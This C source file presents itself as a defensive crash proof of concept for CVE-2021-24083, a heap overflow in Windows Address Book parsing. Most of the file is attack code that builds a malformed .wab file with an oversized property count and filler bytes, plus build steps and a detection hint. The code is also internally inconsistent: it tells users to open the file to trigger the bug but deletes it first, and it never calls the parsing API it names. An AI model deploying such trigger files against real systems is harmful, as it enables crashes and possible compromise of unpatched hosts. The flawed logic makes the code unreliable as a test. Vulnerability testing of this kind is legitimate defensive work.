// poc_cve_2021_24083.c — CVE-2021-24083 wab32.dll heap buffer overflow
//
// Bug:    SecurityCheckPropArrayBuffer / HrGetPropArrayFromBuffer overflow
//         when parsing .wab/.vcf contact properties with mismatched count/size.
// Reach:  User opens malicious .wab or .vcf file in Windows Address Book.
//
// Expected result:
//   - Pre-KB4601319 (wab32 <= 10.0.19041.388): heap corruption / crash when
//     parsing the malformed contact file.
//   - Patched:   File parsing rejected safely.
//
// Build (MSVC):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2021_24083.c /link wab32.lib
//
// Blue-team note: Alert on .wab / .vcf attachments and wab32.dll loads from
//   untrusted zones (internet downloads, temp folders).

#include <windows.h>
#include <stdio.h>
#include <wchar.h>

// Minimal WAB file header structure
#pragma pack(push, 1)
typedef struct _WAB_FILE_HEADER {
    DWORD dwSig;           // 0x9DC6ACD8 (WAB_SIG)
    GUID  guid;
    DWORD dwEntries;
    DWORD dwProps;
    // ... more fields
} WAB_FILE_HEADER;
#pragma pack(pop)

#define WAB_SIG 0x9DC6ACD8

static void CreateMalformedWAB(LPCWSTR path)
{
    HANDLE hFile = CreateFileW(path, GENERIC_WRITE, 0, NULL,
                               CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile failed: %lu\n", GetLastError());
        return;
    }

    // Write a malformed WAB header with mismatched property count/size
    WAB_FILE_HEADER hdr = { 0 };
    hdr.dwSig = WAB_SIG;
    hdr.dwEntries = 1;
    hdr.dwProps = 0xFFFFFFFF;  // Extremely large property count

    DWORD written = 0;
    WriteFile(hFile, &hdr, sizeof(hdr), &written, NULL);

    // Write some junk data to trigger the overflow
    char junk[1024];
    memset(junk, 'A', sizeof(junk));
    WriteFile(hFile, junk, sizeof(junk), &written, NULL);

    CloseHandle(hFile);
    printf("[+] Created malformed WAB: %ws\n", path);
}

int wmain(void)
{
    WCHAR path[MAX_PATH];
    ExpandEnvironmentStringsW(L"%TEMP%\\poc_cve_2021_24083.wab", path, MAX_PATH);

    printf("CVE-2021-24083 - wab32.dll heap BOF (blue-team crash PoC)\n");
    printf("Expected: pre-KB4601319 → heap corruption parsing malformed WAB\n");
    printf("          post-patch    → parsing rejected\n\n");

    CreateMalformedWAB(path);

    // Open the file with the Windows Address Book API
    // In a real test, this would call WABOpen / OpenAddressBook
    printf("[*] Malformed WAB created at: %ws\n", path);
    printf("[*] Open this file with Windows Contacts or Outlook to trigger.\n");
    printf("[*] For automated testing, integrate with WABOpen API.\n");

    // Clean up
    DeleteFileW(path);
    return 0;
}
